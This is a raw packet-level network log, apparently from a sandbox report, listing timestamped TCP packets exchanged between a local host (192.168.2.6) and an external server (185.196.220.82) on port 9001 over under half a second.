Dec 17, 2024 11:49:53.368823051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.369460106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.369474888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.369648933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.370436907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.370584011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.370625019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.371613026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.371819019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.371872902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.372468948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.372534990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.372576952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.372930050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.372981071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.373028040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.373828888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.373971939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.374015093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.374933958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.374950886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.375047922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.375478983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.375581980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.375633955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.375984907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.376069069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.376177073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.376569033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.376626015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.376672029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.377289057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.377386093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.377520084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.378053904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.378165007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.378216028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.378983021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.378999949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.379101992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.379709005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.379781008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.379868031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.380383968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.380521059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.380723000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.381257057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.381273985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.381321907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.382110119 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.382177114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.382258892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.382759094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.382915020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.382962942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.383562088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.448925972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.448945045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.449002028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.449338913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.449393034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.449481964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.449856997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.450018883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.450040102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.450659990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.450717926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.450931072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.451438904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.451455116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.451484919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.452197075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.452243090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.452339888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.453048944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.453094959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.453104973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.453732014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.453805923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.453838110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.454580069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.454677105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.454694986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.455399990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.455478907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.455540895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.456353903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.456412077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.456543922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.456934929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.457017899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.457034111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.457707882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.457834005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.457847118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.458534002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.458595991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.458627939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.459430933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.459491014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.459547043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.460191965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.460244894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.460299969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.460839987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.461019039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.461086035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.461678028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.461693048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.461729050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.474852085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.474908113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.474978924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.475275040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.475321054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.475353003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.476099968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.476110935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.476144075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.476622105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.476638079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.476686954 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.477268934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.477319956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.477416039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.478106022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.478171110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.478193045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.478837013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.478919029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.478948116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.479773045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.479847908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.479968071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.480488062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.480541945 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.480556011 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.481431007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.481529951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.481559992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.482220888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.482264996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.482328892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.482830048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.482870102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.483006001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.484148979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.484282017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.484349012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.558569908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.558686972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.559091091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.559146881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.559264898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.559678078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.559765100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.559890985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.559937000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.560499907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.564981937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.565001011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.565035105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.565321922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.565443993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.565509081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.566128016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.566209078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.566251040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.566948891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.568869114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.568921089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.568934917 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.568975925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.568975925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.569062948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.569106102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.569722891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.569793940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.569839001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.570626974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.570749044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.570801973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.571788073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.572132111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.572170019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.572983027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.573038101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.573082924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.573559999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.573652029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.573693037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.574309111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.574320078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.574364901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.574980021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.575026035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.575067997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.575408936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.575433016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.575498104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.576050997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.576139927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.576431990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.576814890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.576865911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.576908112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.577647924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.577799082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.577842951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.578502893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.578545094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.578641891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.579163074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.579287052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.579329967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.580010891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.580116987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.580157042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.580773115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.580876112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.580916882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.630357027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.631349087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.631386995 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.631633997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.631722927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.634577990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.639940023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.641530037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.641588926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.641619921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.641777992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.641865969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.641901016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.642019987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.642057896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.642472029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.642513990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.642632008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.643189907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.643201113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.643208027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.643237114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.643237114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.643800974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.643838882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.643918037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.643951893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.644517899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.644563913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.644602060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.644638062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.645145893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.645226955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.645232916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.645262957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.645925045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.645984888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.646018028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.646018028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.646658897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.646703005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.646775961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.646819115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.647417068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.647459984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.647550106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.647591114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.648171902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.648217916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.648307085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.648361921 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.648991108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.649034023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.649122953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.649161100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.649781942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.649821997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.649991035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.650027037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.650621891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.650672913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.650711060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.651329994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.721772909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.721828938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.721832991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.721910000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.722063065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.722105026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.722127914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.722165108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.722517967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.722558975 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.722649097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.722737074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.723268032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.723383904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.723400116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.723429918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.723982096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.724026918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.724065065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.724109888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.724814892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.724857092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.724886894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.725740910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.725785971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.738261938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.738310099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.738311052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.738362074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.738431931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.738444090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.738493919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.738512039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.739279985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.739423990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.739434004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.739481926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.739814997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.739864111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.739945889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.739990950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.740566969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.740649939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.740679979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.740873098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.741364002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.741405964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.741460085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.742316961 CET	9001	49784	185.196.220.82	192.168.2.6
